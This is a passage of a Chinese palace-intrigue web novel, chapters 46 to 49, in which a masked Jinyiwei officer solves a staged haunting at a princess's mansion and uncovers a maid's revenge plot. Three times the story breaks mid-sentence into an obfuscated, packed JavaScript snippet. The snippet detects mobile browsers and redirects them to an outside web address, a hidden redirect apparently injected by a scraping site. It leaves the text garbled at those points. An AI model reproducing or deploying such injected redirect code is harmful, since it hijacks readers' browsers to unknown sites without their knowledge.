严炳安：“这不是情理之中吗！公主府是什么地方，我们又是什么东西？人家平日里何必在我们这些微末人物身上浪费口舌。” 杨胜反驳：“别胡说，我觉得燕千户不是这样的人，他今日不是还为我们出头，狠狠回怼了那个仗势欺人的周管事。” 白砚生也道：“严兄此言差矣。燕千户话不多又不是只针对我们。便是马镇抚使跟前，他也照样是那副模样。我只是没想到离了衙门，燕千户竟还有这一面。” 严炳安摸着下巴若有所思："莫不是千户大人对鬼神之事格外上心？今日这般，倒像是遇着了心头好。" 燕风坐在隔壁房间闭目养息，将几人的对话听得一清二楚，她没奈何地笑了笑。 待月上中天，她悄然起身出了房门，对着隔壁三个小旗的房门，轻叩了叩。 “笃笃笃。” 屋里三人早已歇下，但各自胡思乱想，翻来覆去都没睡着，乍听敲门声，皆吓得僵住。 燕风听无人回应，想到方才三人编排自己的话，起了玩心，也不出声，继续轻轻叩门。 “笃笃笃。” 这下再也没法装听不见了，三人如惊弓之鸟般弹起，被褥翻卷间活似三只炸毛的猫儿。 “这是风吧？”杨胜犹抱有幻想。 严炳安：“闭嘴。” 燕风在门外听得清清楚楚，抬指，又叩了三下。 屋里三人简直要炸了锅，杨胜哆嗦着往被窝里钻，严炳安已摸上墙挂的绣春刀，白砚生更是抄起圆凳，一个箭步闪到门后，屏息静气。 门外却忽然传来一句带笑的声音：“几位好汉难道要我亲自进去请？” 三人一震，异口同声：“燕千户！” 白砚生放下凳子，一把拉开了门。 门吱呀一响，月光洒下，燕风一身常服、戴着面具，正负手站在廊下，看起来心情不错。 她扫了他们一眼，眉梢一挑，笑道：“这么怕我？” 三人齐齐低头：“属下不敢！” 燕风懒得计较，只道：“半刻钟，收拾好自己，随我出去一趟。” 说罢又补了一句：“小心一点，别惊动他人，坏了我的事。” 三人怔了怔，心头各有翻涌，却不敢怠慢，连忙穿衣整冠，悄然跟了上去。 她轻功极高，身形仿若鬼魅，掠过廊下飞檐，不激起半点声息。 三个小旗是第一次见上官施展身法，顾不得心中感慨，只得勉力跟上。 公主府白日繁花掩映，夜晚却寂寂。灯火稀落，众人一径路过如同穿行于飘渺梦境。 不多时，便到了目的地。 正是白日里最先造访过的偏院， 秋梨姑娘的住处。 46. 残烛 燕风在门口等他们片刻，见人齐了，便伸手推门。 门内陈设和气味都一如白日，只不知是谁在床边点了一盏油灯。 灯火摇曳中，那奄奄一息的女子不同于白日的漠然，竟敏锐地察觉到动静，用力撑起脖颈，朝门口望来。 燕风已经带着下属进了屋子，她缓步上前，轻轻地唤了一句：“秋梨姑娘。” 这一声仿佛拨动了她最后的神智。 秋梨先是露出喜极而泣的神情，可还未完全舒展，面上便转为一片扭曲。 她双眼猩红，嘴唇颤抖，忽然嘶声高喊： “是周进宝！是周进宝装神弄鬼！是他害了我！” 歇斯底里，一字一句，都像是从喉咙里扯出来的。 屋内顿时一静，三个小旗面面相觑，脸上皆是震惊。 燕风眉心微蹙：“周进宝为什么要装神弄鬼，又为何要害你？” 秋梨眼神恍惚，怔怔看着来人投下的阴影，低声道：“我怎知他心里怎么想……大概是想搅黄……搅黄公主的亲事罢……” “你语焉不详。” 燕风语气仍温和，言辞却不容置疑，“那你又有何证据，能证明你说的是真话，而不是信口雌黄，污蔑他人？” 秋梨陡然激动起来，瘦削的身体剧烈颤抖，脸上本就溃烂的肌肤因情绪过激而抽搐，显得分外狰狞。 “我还以为你是个贵人，没想到你也怕那姓周的！我说的就是实话，你不信又何必来问我！” 气氛一时紧绷，杨胜微微侧头避开那女子灼灼目光，白砚生和严炳安也不知该不该插话。 燕风缓缓蹲了下来，她偏头望了一眼看向那盏在床头的油灯：“之前那个叫巧杏的侍女说，你不愿点炭，是因为想早些解脱。你现在，一定很疼吧。” 秋梨怔住了，那双怒睁的眼微微敛起。 她盯着燕风看了许久，看他蹲下来与她齐平时投来的目光，里头盛着的是和嗓音里一样的温柔。 她的呼吸渐渐平稳了些，眼中的戾气也慢慢褪去。 燕风继续温声道：“那个人把你害得这么惨，你又为何要保护他呢？你知道什么便都说出来吧，我是你最后的机会，如果你还想为自己讨个公道的话。” 秋梨眼中原本还有挣扎，但这最后一句却让好似让她下定了决心。 “我没有撒谎……就是周进宝做的！你们去查他，如果大人是真心想查案的话。” 她咬着牙回敬，眼神中分明写着倔强，竟然是针锋相对，丝毫不让。 燕风静默片刻，缓缓点头：“好吧，秋梨姑娘，我信你。” 回程路上，几人的心情都格外沉重。 那个唤作秋梨的妙龄女子，任谁都看得出已是油尽灯枯之相，偏生还要在残存的时日里日日忍受蚀骨之痛。 若真是人为下毒，不知是何等阴狠的毒物，更不知是何等丧心病狂之徒所为。 等三名小旗回到住处，重新躺上床时，夜已深沉，寒气透骨。 许久，杨胜忍不住低声开口：“……要是真是有人捣鬼下毒，我们追查下去，会不会……也中这毒？” 这话，他自然不敢当着燕大人的面说。但此时此地，三人同为北镇府司最底层，平日领着微薄俸禄，此时却遇上了可能要命的活，倒没什么好避讳的。 白砚生靠着床沿也没睡：“应当不会。若真有那样霸道的毒药，神不知鬼不觉就能要人命，怕是来自异域，价值连城。咱们不过是几个跑腿的小旗，那人未必舍得。” “可那秋梨，还有之前几个侍女，也不见得多重要，不也一样……”杨胜低声反驳。 白砚生：“你说得也对，我也一直在想这事。要我说，大概只有两种可能。” 杨胜：“哪两种？” “第一种，是她们撞破了什么不得了的事。对方为了灭口，才狠下毒手。” “可今夜见了那秋梨，她都已经那个样子了……也没说出什么实打实的要紧话。再说了，真要灭口的话，毒都下了，为何不索性让她死了干净，反而留她一口气等着我们来查？” 杨胜点头，觉得他说得在理：“那……第二种呢？” “误用。” “什么意思？”杨胜一愣。 “就是……那毒本来是有人藏着另有他用的。没想到被几个侍女阴差阳错地用了去。事已至此，那人也只好将错就错，顺着她们的症状，编出几段女鬼现身、见鬼脱皮的怪话，唬住人，好掩盖真相。” 杨胜恍然大悟：“原来如此……这倒是很有可能。” 白砚生苦笑一声：“你别高兴得太早。若真是有人背后捣鬼，无论是哪种情况，我们都不算绝对安全。那种药太贵，也许不会浪费在我们身上，但真要除掉我们，也自有便宜的手段。” 屋里气氛登时一滞。 半晌后，一直沉默的严炳安突然冷哼了一声，朝着白砚生酸溜溜道：“你倒是无所谓。你们白家虽说出身商贾，卑贱归卑贱，底子却厚得很，连价值连城的毒药都门儿清。你这种公子哥，花钱捐个小官也就是图个名头，真要出事，撂挑子不干就是了，总有办法把自己摘得干干净净。可我和杨胜就不同了，一个是破落兵户，一个是田舍汉泥腿子，全指着这点俸银过活。真碰上事，哪里跑得掉。” 白砚生气急反笑：“姓严的，你也只敢在我面前说这些话了。商贾卑贱？有本事，你打开这门，大点声说，顺便再问问永宁公主外祖，周贵妃母家是做什么的？” 严炳安面色炸红。 眼见两人火药味渐浓，杨胜连忙起身打圆场：“哎，别吵了别吵了，都是一个锅里吃饭的兄弟……再说了，有燕千户在上头顶着呢，谁敢动我们。” “说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485552|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，燕千户怎么知道，这个叫秋梨的姑娘夜里会改变主意，开口理人？” 白砚生懒得再和严炳安计较，转头同杨胜道：“白日里兴许有那个叫巧杏的在旁边，所以不敢说吧。” “那真是怪了，秋梨姑娘都想要早点死了解脱了，还有什么不敢的呢。” 三人各怀心思，一夜再无话音。 次日一大早，天刚蒙蒙亮，燕风几人住的小院子便有人叩门。 开门一看，竟然是总管太监周进宝亲自领着周祥并几个仆役，满面堆笑地送来了早饭。 “燕千户辛苦，府里特意备了些粗茶淡饭，不成敬意，不成敬意！”他一边张罗着摆桌，一边热情招呼。 早餐确实算得上丰盛，蒸饼、肉粥、酱肉，甚至还有几碟精致的点心，摆得满满当当。 燕风被请到主桌，和周进宝一桌用饭。三个小旗则被安排在另一桌，两桌之间隔了老远，尊卑分明。 三人一边扒拉着碗里的肉粥，一边斜眼瞥着周进宝那桌。 却见那总管并不动筷，笑容可掬地和燕风客套了几句，随后便又拱手告退，说是“府中事务繁忙，实在抽不开身”，转眼间又溜得无影无踪。 “啧，公主又不在，这总管也这么忙吗？”杨胜忍不住凑到白砚生耳边，低声蛐蛐道，“昨日整日不见人影，今日露个面又跑了。你家也是大户，你知道他们平日都忙什么？” 白砚生慢条斯理地夹了块酱肉，正想开口，忽然，主桌上一道目光遥遥扫了过来—— 燕风转过头，目光精准地落在杨胜身上，仿佛杨胜刚刚附耳问的是她自己。 她唇角一勾：“昨日大概是去调查咱们家世背景，今日查到了咱们都是无名小辈，布完这席好菜，就该进宫去和公主告状了。” 三人差点被嘴里的粥呛死。 隔了这么老远，她竟这也能听见？那平日里他们那些闲言碎语岂不是早就落入了上官耳中？ 更别提那告状二字，听得三人心头一紧。 燕风却若无其事，继续用饭。她吃饭的动作极快，只一眨眼功夫，她那桌满满一桌菜已然扫荡一空，连个汤底都没剩下。 “怎么不吃？”她转头瞥来，面甲下的目光甚至显得诚恳。 “味道挺不错的。” 说着，居然起身大喇喇地走到了他们那桌边坐下，目光落在还未动几筷子的肉龙和酱肉上，俨然一副接下来我就吃这个的架势。 三人眼见上官今日如此不拘一格，又是破天荒地亲近，受宠若惊，只得纷纷举箸应和。 可昨夜劳顿，今晨又早起，本就精神不济，加之方才那番石破天惊的话，哪还有胃口。 燕风见几人吃得勉强，停了箸，幽幽道： “还是多吃点吧……说不定过一会儿就进去了，下一顿这样好的，可不知得什么时候。” 47. 惊堂 此言一出，哪里还有人吃得下去。 严炳安：“敢问千户，‘进去’是何意？适才‘告状’之言，又是何指？我们昨日方到，尚未着手办案，焉有把柄落于人手？” 燕风咳了一声，语气略有几分心虚：“倒也不算什么都没做。昨夜啊，本官心一软，便给了秋梨姑娘一个痛快。” 三人脑中开始回忆昨夜离开那间屋子的场景： 燕千户是最后一个出来的，也是她关的门，在这之前，她和那秋梨确实独自待了好一会儿…… 杀公主府中奴婢，本就是重罪，尤其秋梨已是个关键人证。 周进宝若真有鬼心思，少不得拿这个大做文章！ 杨胜尚在茫然，白砚生已沉声问道：“千户既已动手，可有善后之策？” 燕风正好吞完他们桌上的半碟肉龙，淡定自若地擦了擦嘴，笑道： “有的。周进宝现在怕是已赶去宫门口排队求见公主了。不过你们也知，公主金枝玉叶，哪是想见就能见到的？少不得要耗上些时辰。他今早送来这桌丰盛早膳，便是想稳住我们、拖延时间。只要不上他的当，赶在他回府前查个水落石出，他便无计可施。” 说得轻巧！ 三人彼此交换眼神，脸色齐齐一垮。 白砚生试探着问：“千户心中，应当已有万全把握了吧？” 燕风微微一笑，孺子可教地看他一眼：“正是。你们只需按我吩咐去做，保准大家平平安安。” 三人齐齐站起，抱拳道：“请上峰指示！” 燕风眸中笑意愈盛，满意地点点头：“很好，既吃饱了，就开始干活吧。” 于是白砚生被她指派去查公主府的建府帐目，而杨胜和严炳安则负责去问话府里中招的其他人。 午后时分，三人陆续回来，在偏厅与燕风会合。 燕风端来一盘果仁，随手搁在案几上，自己则倚坐在窗边。 “如何？” 白砚生率先开口，他憋闷道：“账房那边配合得倒是很积极。但是账册干干净净，一本比一本新，花样也不少，像是特地抄了来糊弄人的。” “一无所获？” “正是。”白砚生苦笑，“但那账册太新了，墨迹都像才落干不久，这才更让人觉得有问题。” 燕风若有所思，点了点头，又看向另两人。 杨胜撇撇嘴：“我们那头也差不多。那几个侍卫现在还躺着，迷迷糊糊的，但没听出什么特别的。” “哦？侍卫那边竟没一个见过鬼？他们都是些什么症状？” “上吐下泻，低烧嗜睡。”严炳安接过话头。 “但没人说看见什么异象。大家都猜测说是男子阳气重，脏东西近不了身，所以症状也轻些。” “这鬼魅还欺软怕硬了？” 燕风嗤笑一声，“那几个侍卫又都是在哪儿中招的？” “这就说不准了。”杨胜挠头，“他们自己也不太清楚，只说发病前确实都来过府中的内院。” 燕风眼神微沉：“这可是公主府。内院是女眷起居之所，除了宦官，旁人哪能随便进来？侍卫们守外院还差不多，他们来内院做什么？” “好像……”杨胜咽了口唾沫。 “同我们一样，也是来查案的。” 正说着，忽听外头一阵脚步与马蹄声，远远传来太监高声通传：“公主回府——” 三人心下大惊，立刻坐直了身子，神色紧张。 严炳安下意识嘀咕：“这……现在怎么办？案子还一点头绪都没有。” 燕风慢悠悠地吃着果仁，安慰道：“别慌。公主金尊玉贵，回府后少不得洗浴更衣、焚香净面，还要训话责人，咱们这会子还排不上号。” 她笑了笑，又补了一句：“我还得再想一想。你们也去歇一歇，整整衣冠，说不定一会儿真要见贵人。可别给我丢脸。” 三人忙起身称是，先行退下。 刚走出偏厅几步，严炳安忽然顿住脚步，往另一个方向走：“我去个方便。” 杨胜一愣：“这节骨眼上你还去哪？” 严炳安没好气地回头：“说了！解手！” * 众人皆回房休整。 约两柱香后，外头果然传来脚步声，一名内侍躬身立于门外，扬声道： “几位大人请移步正堂，公主殿下召见。” 几人随内侍穿廊过院，未多时便抵达正堂门前。 堂中香烟缭绕，陈设雍容雅致，一派天家气象。堂上首，永宁公主端坐绣椅之上，一袭淡紫团花裙，锦纹随她姿态隐现，仿佛有光影随之轻曳。 她不过十七八岁年纪，生得肌肤莹白，姿容娇美。她身旁，周进宝恭谨侍立，虽神色恭顺，却难掩眉宇间一丝得意。倒是周祥，此刻不见踪影。 燕风的目光落在公主身上，停了一瞬。 两人年岁其实相仿。只是幼时燕风常食不果腹，五公主却金尊玉贵，宦侍如云，那时只觉她高大强壮，仿佛端坐云端的夜叉。而经年过去，这位曾令她生怖的人，竟出落得身量娇小，柔婉纤秀。 虽她依旧端坐高位，可尊卑荣华皆是外物，抛去这些，眼前这位五公主，早已不能再令她生半分畏惧。 燕风敛神，屈膝行礼。三名小旗也随之同跪。 “你便是燕风？” 永宁公主怪道：“为何戴着面具？摘下来让我瞧瞧。” 这话问出了许多人的心思，连周进宝也不禁微微侧目。三名小旗更是屏住呼吸——这位上官入司以来从未摘下过面具，今日竟要借公主的光见其真容。 燕风神色不动，不卑不亢道：“回禀公主，属下早年不慎毁容，实不敢惊扰贵目。此面具，乃陛下钦赐，准我日常佩戴。” 公主眉梢微动，似乎还想再说什么，目光却不由落在她面具以下——唇线清俊，轮廓凌厉俊美，宛若冰玉雕成。那一身纹服亦穿得分外挺括，便是跪着，也比旁人更显潇洒。 她忽然转念，嘴角勾出一抹笑意，摆摆手。 “罢了，不愿摘就不摘罢。” “府中这几日小事，竟惊动父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485553|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇，还劳烦各位大人奔波。其实我也曾请了几位高人看过，不过是些摆设上的小纰漏，几名胆小婢女以讹传讹，倒叫你们白忙一场……” 燕风突然垂目拱手，声音清朗道：“回殿下，属下已查明了。” 一言落下，满堂俱寂。 不仅永宁公主一愣，就连燕风身后的三名小旗也是一头雾水。 公主缓缓靠坐回去，笑意不减：“哦？查到了什么？” 燕风言辞铿锵：“请公主恕罪，属下所查之事，恐惊扰殿下，然若讳而不言，只怕后患无穷。” “此次府中异象，非关风水煞气，更非鬼魅作祟。实为有人刻意布置，借虚乱实，掩盖真相！” 公主的笑容终于收敛了几分。她眼波微转，一一掠过堂中诸人。 "说来听听。" 燕风沉声开口：“府内总管周进宝虽为净身之人，却仍六根不净，暗中猥亵、□□府中侍女，已然败坏公主府清誉。” “可有凭证？” 燕风从袖中取出一封字迹娟秀的纸笺，双手高举：“这是秋梨留下的。信中详细陈述了事发经过，所写所述，皆可查证。” 周进宝冷笑出声，立时厉声反驳：“荒唐！秋梨那婢子根本不识字，哪来的字句？你这是栽赃陷害！” 燕风不急反笑，从容道：“周总管果然体恤下人，府中侍女何止百余，秋梨不过是最末一档的小侍，你竟连她是否识字都了然于心？” 周进宝辩道：“秋梨她是此桩怪事中伤得最重的一个，我自然要细加询问！” “总管说得不错。”燕风点头，“秋梨她也确实不识字，所以此信为她口述，由我代笔。但尾末按有她本人的掌印，半分不假。” 周进宝冷哼一声：“掌印能证明什么？据我所知，秋梨已被你亲手杀害！你拿她尸身强按手印，又有何难？死人可不会出来自证！” 燕风低垂的脸上忽然浮现出一丝冷笑，复又抬头，故作讶然。 “周总管何出此言？秋梨姑娘明明还活着，正躺在偏院养伤呢。您这是从哪儿听来的谣传？” 周进宝脸色骤变，余光一扫，才发觉不知何时周祥已瑟缩在堂角，神情惊惶，冷汗淋漓。 他不禁心头大骂：这狗奴才怎么现在才回来！ 燕风不紧不慢：“秋梨姑娘伤得确实太重，属下未敢带她惊扰殿下。但信中所述，不仅详尽，还标明了总管您身上某些……隐秘特征。若总管认为不实，不如当众脱衣自证清白。” 公主闻言，接过纸笺浏览几行，眼神一沉，回眸冷冷扫了周进宝一眼。 她向来知道周进宝不是什么干净人，但白纸黑字摆在眼前，终究是另一回事。 周进宝身子一抖，垂了头，露出已有了些老态的花白头顶，更显得可怜。 可话又说回来，毕竟是跟了她这么久的老人，关键时候也都算处处妥帖。 公主正欲开口，燕风却忽然再度挺身而跪，声如金石： “殿下明鉴，虽此一事已属惊悚，属下尚有一桩，更不敢不奏！” 48. 毒果 不等公主回答，燕风已朗声道： “公主出嫁在即，内库陪嫁丰厚。周进宝却起贪念，私盗库中之物，暗中运出府去，日积月累，所失已多。为掩人耳目，他编造鬼怪传言，在府中散布恐慌，使人不敢靠近内库，借此掩盖盗运之行！” “侍女、侍卫接连见鬼中邪，不过是他投毒之果。借鬼怪之名遮掩真相，如此一来，公主出嫁前，便无人敢踏足内库查验！” 此言一出，如平地惊雷。 若说之前那桩风流丑闻尚可一笑了之，这一件，便是铁打的谋逆大罪。 周进宝脚一软，直接瘫跪在地，哭喊道：“殿下明鉴！老奴冤枉啊，老奴忠心不二、天日可表！” 燕风缓声道：“此事若要查验亦不难。只需对照原始库册，一一比对现存账目、陪嫁之物，自有分晓。” 周进宝闻言，彻底瘫软在地，动弹不得。 旁观众人，见他这样，又有什么猜不到的。 接下来的事终归是公主府的家事，不宜外扬，燕风几人便识趣地要告退。 永宁公主颇带几分欣赏地看了燕风一眼，随手吩咐侍女领人退下。 领路的，恰又是昨日那位唇红齿白的巧杏姑娘。 回去的路上，杨胜凑近白砚生：“都第二天了，路早认熟了，还劳烦人家姑娘带着走，未免太客气了。” 前头走着的巧杏听得分明，却不回头，只抿唇一笑。 恰在此时拐过一处回廊，她微微侧身，那抹清浅笑意刚好落入几位小旗眼中，倒叫他们一时看得有些失神。 回至暂居的小院，巧杏福了福身，正欲告辞，燕风却忽然开口： “姑娘不如稍留一会儿。咱们虽请不起庆功酒，倒还有几样点心瓜果，也算慰劳这两日奔波。” 杨胜也搭腔：“是啊，巧杏姑娘，殿下那边怕是还在气头上，不如先在我们这儿避避风头。” 一边说着，一边十分大方地取出早上偷偷藏下的糖糕。 巧杏眸光微动，但终究架不住对方几人热情邀约，低着头乖顺地坐下了。 待都坐下了，杨胜只顾朝她憨笑，另两人却疑惑地看向燕风。 燕风轻轻拨着一粒瓜子，含笑开口：“这回府中闹鬼一事，倒也让我们长了见识。只是我这人较真，心里总有些好奇，到底是什么东西，能把人吓得觉得自己见了鬼，甚至变得人不人鬼不鬼？” “不知巧杏姑娘，愿不愿解我心中疑惑？” 最后一句落下，众人脸色齐变。 巧杏一惊，忙起身跪地：“大人说笑了，奴婢实在听不懂您在说什么。” 燕风语气依旧温和，甚至还带着一丝安抚：“这是做什么，我又没有怪你。但若换作是我，真要报仇，便不会如此低调，最好是叫世人皆知那人的罪孽，才知他们死有余辜。” “若是无声无息，叫旁人以为他们寿终正寝，那才是亏大了。” 巧杏低垂着头，双肩微颤，却未作声。 燕风轻叹一声：“你是怕我们坏了你的局，还是怕我们转头出卖你？那你倒是多虑了。你主子是什么脾性，你最清楚。我们若真知道了什么，要保命也只能装聋作哑。可你若说出来，咱们便成了一条船上的人。” “更何况，如今已经开始清点内库了。你若真想成事，便该知道，我们也未必帮不了你。” 一番话说得滴水不漏。 但听在杨胜、白砚生和严炳安耳中，却是一头雾水，不知主官这是葫芦里卖的什么药。 巧杏沉默片刻后，忽然抬头：“大人既然已看穿此局，我若再遮掩，便是自作聪明。” 她望着燕风，目光坦然：“只是冒昧一问，大人又是如何知道是我的？” “姑娘昨日带我们绕路，左一圈右一圈，总绕在秋梨那几人的住处附近，分明是想我们去看点什么。还有你在秋梨房前莫名其妙的一跪，看似是惶恐，其实分明是明暗兼用的暗号，既给我们看，也是给屋里人听。” 她顿了顿，慢条斯理地又道：“最关键的，还是那封信。周进宝说秋梨不识字，那我今日呈上去的那封字句，便是有人代写，放在秋梨被窝里，又让她心甘情愿地掏出给我。那个人是谁，其实我也不大确定。但好在姑娘到底心善，藏不住事。" 巧杏愣了愣，苦笑道：“大人明察。我心服口服。” “但在说出真相之前，我仍要提醒大人，与另外几位大人一句。有些事，知道了根本于自身无益。诸位大人可当真愿听下去？” 院中一时寂然，几人不约而同看向燕风，等她开口。 燕风眼风慢慢扫过几位下属，颇有几分深意道：“这几位都是我的下属，自是知道与我一荣俱荣，一损俱损的道理。” “巧杏姑娘，你便放心说来吧” 巧杏终于轻轻开口： “大人猜得没错，一切皆因我而起。秋梨，云芝，芍药，春信，皆是……我害了她们。”她声音微微发颤，像是终于卸下了千斤重担。 "她们都是好姑娘。云芝最小，进府才三个月，成天傻乎乎地笑。秋梨心善，见我夜里咳嗽，还特意给我送过姜汤。" 她眼眶微红："我从没想过要伤她们。可事到如今，说这些又有什么用。" 她深吸一口气，像是在给自己撑着一口气继续说下去。 "……半月前，我偶然在街上得了一件东西，一串放在铅盒里的玉石璎珞。送我此物的瞎眼老道同我说，这是世间罕见的天煞邪物，能让其主人和身边的人皆恶病缠身，剧痛而死。他说我正需要它，就硬塞给了我。" 燕风听着，垂眸拨了拨手边的瓜子，神色平静，什么都没说。 “我起初想丢了，可转念一想：若是它能害人，何不拿来害该死之人？” “十日前，公主设宴，贵女送礼如流水。那天内库开门，我趁着混乱，将璎珞悄悄藏进一匣，放入了内库。” 她自嘲一笑：“我想得很简单，进了内库，就是公主的东西了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485554|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。若真有什么祸事，也只会落在她头上。” “可我万万没想到——” 她露出了痛苦的神色：“几日后，我竟在秋梨脖子上，看见了那条璎珞！” 燕风眸光一沉：“……周进宝。” “正是他。”巧杏咬牙道，“他仗着总管身份，常在库中私取宝物。这璎珞看着虽是宝石，但样式普通，在一众宝物里并不起眼，于是他便顺手拿了哄秋梨。秋梨年纪小，又是新来的，竟当了真……” 说到这，巧杏开始哽咽：“我知道，我闯下了大祸。” “我原本只想报复公主，却牵连了无辜。我急得发疯，恰好那时，云芝发了病，满身流血，说见了鬼。我便顺水推舟，唆使几人造势，说公主府闹鬼。” “你是希望把内院的动静闹大，引得人来查。内库近在咫尺，周进宝怕事情牵连，便会将偷出的东西一一归还，包括那串璎珞。可没想到的是，许多东西已经被他变卖花费掉了，周进宝还不出也不想还，索性就借势又毒了几个来查的侍卫，让人再也不敢靠近。是也不是？” 巧杏看着燕风蛊惑般的眼神，鬼使神差地应了句：“是。” 燕风暗暗松了口气。“那一切都说得通了。” “那么，你再来说说，你为何想害永宁公主？” 巧杏苦笑：“燕大人，您觉得我生得如何？” 燕风一怔，随即认真道：“平心而论，确实算得上姿容出众。” “我有个亲哥哥，生得比我更好。” 巧杏语气温和下来，眼神也柔了些：“他娶了青梅竹马的邻家妹妹为妻，嫂嫂温柔善良，待我极好。我们一家虽非大富大贵，却也衣食无忧，和乐安稳。” 她停了一下，才又开口。 “直到那年春日，我们三人出城踏青……遇到了五公主。” “后来我才知道，她和魏家的小姐，是京中出了名的恶女。她们看上了我哥哥，将我们招去问话，又几番调笑嫂嫂貌丑，我哥起先忍着，后来实在受不了，顶了她们几句。” “她们没当场发作，却在暗地里动了手。” “没几日，哥嫂双双失踪，家里苦寻了好几日无果。后来嫂嫂的尸体被扔在了家门前，赤身裸体，生前显然……受尽侮辱。” “哥哥虽然活着回来了，但不论家人如何询问，他一句话都不说。没几日，他也上吊自尽了。” “我父母熬不过接连打击，也先后撒手人寰。短短月余，好端端一个家，就全毁了。” 她轻轻吸了口气，“那时我还不知道仇人是谁。后来为求生计卖身为婢，进了贵人府邸。一次随小姐赴宴，偶然见到她们二人并坐，我才认出了。” 她看向众人，嘴角扬起讥笑：“我这才知道，原来我们这些人的性命，在她们那儿，不过是席间的一两句闲话。" “你们说，我难道不该报仇吗！” 院中无人应声，只有风穿过树枝，簌簌作响，仿佛回应着她满腔的血与泪。 49. 面具 沉默许久，燕风终于开口：“我们知你不易。你所做之事，虽牵扯了旁人，却也并非出于你本意。” 她语气柔和，既是安慰，又是宣告。 “放心吧，我们不会泄露半句。这毕竟也是一段皇室秘辛。知者必死的道理，我们都懂。” 她眼神扫向身边几位属下：“我们虽食君之禄，却也只需保得公主周全，职责便尽。如今看来，周进宝并未将那邪物归还内库，既如此，我们又何必再细究？” “反正，公主这次动了大怒，下面人没轻没重，周总管又往日里养尊处优，想必定活不过今夜。无人与他对质，便无人能知此事还有你这一段。” 她轻轻吐出一口气：“这事，就此罢了。” 气氛再次静了下来，只是这一次的静，是另一种心照不宣。 燕风缓步上前，将巧杏亲手扶起：“巧杏姑娘，你好自为之吧。” 巧杏站稳身子，抬眼深深望了她一眼，低声道：“大人，你是个好人。” 她像是下了极大的决心：“其实，公主这些年害过的人远不止我哥哥那样的平民百姓。也有不少权贵之子、豪门之后，被她一时兴起、一念不悦，便覆手搓磨。” “几年前，那位姓魏的小姐，自一次事故后，便再未见其出席宴会。我猜，也许公主终于惹到了不该惹的人，皇上便把罪过全推到了那位小姐头上，保全自己的女儿。” “燕大人，不摘下面具，是对的。” 她退后一步，郑重行了一礼：“您也……多保重。” 杨胜望着巧杏渐行渐远的背影，忽地出声：“这句我可听明白了，巧杏姑娘是觉得燕大人生得也好看，怕被公主看上了有危险……可她怎么就不提醒提醒我呢？” 严炳安翻了个白眼：“蠢货！收起你那没把门的嘴。你嫌命长，也别连累了我们。方才说得清楚，这是秘辛。今天听了就当从没听过，就连做梦都别提一个字。” 杨胜被劈头盖脸一顿训，顿时炸了：“我当然知道！但你又好到哪儿去？你别以为我没瞧出来。刚才你借口去解手，实际干了什么？” “真当人都瞎了？若不是你透了口风，周进宝又怎么知道燕大人害死了秋梨？你以为你投了靠山、献了宝，哪知道，呵，可惜了，燕大人诈你呢！” 严炳安瞬间涨红了脸，却也说不出什么辩解的话来，张了张嘴，只得低下头去。 燕风目光在两人之间缓缓扫过：“罢了，过去的事，便不提了。” “但今日起，各位便与我燕某人绑死在了一条船上。此事若顺利揭过，风平浪静，我自然有所升迁。届时，你们便是我的左膀右臂。” 她略顿，笑得意味深长：“可若是横生枝节……那便只好黄泉路上，再作同僚了。” 当日薄暮，三人便随燕风告别了公主府，将这一方是非之地远远抛在身后。 后来种种，竟皆如燕千户所言，分毫未差，恍若未卜先知。 公主震怒，熬刑的周进宝也终究没能见到次日朝阳。甚至翌日拂晓，皇上口谕嘉奖已随曹秉笔的轿子踏入北镇抚司，赏赐之厚，体面之足，令燕千户一夜之间成了司中最炙手可热的新贵。 当夜三更，马镇抚使的羊角风发作得蹊跷。再一日鸡鸣，千户燕风擢升镇抚使的圣旨，已压在了前人的辞呈之上。 燕风得道，麾下三名小旗亦鸡犬升天。 泼天富贵砸得三人目眩神迷，只是夜半惊醒时，总有一缕忧思挥之不去：那串掀起腥风血雨的邪异璎珞，现在又在何处？可曾施下重重禁制以防祸乱再起？ 这疑问在脑中转了又转，终究被锦绣前程死死按住，硬生生咽回了肚肠。 * 北镇抚司易主，这事在朝中百官眼里，起初不过是一件微不足道的小事。 那地方冷清多年，虽还挂着镇抚司的牌子，但在诸公看来早就是个半废的破落衙门，传信送话尚可，真要指望它查案动人，反倒显得不合时宜。 甚至有人玩笑，那地方如今不过是锦衣卫的敬老院。 谁会把一个敬老院放在眼里？ 新任镇抚使来得极低调，既无交接仪式，更未大肆庆贺，甚至司外竟无人得见其面。 那人名字也平平无奇：燕风。 朝中历来不乏消息灵通之人，可翻遍京中高门望族，却也无人记得哪一家姓燕。 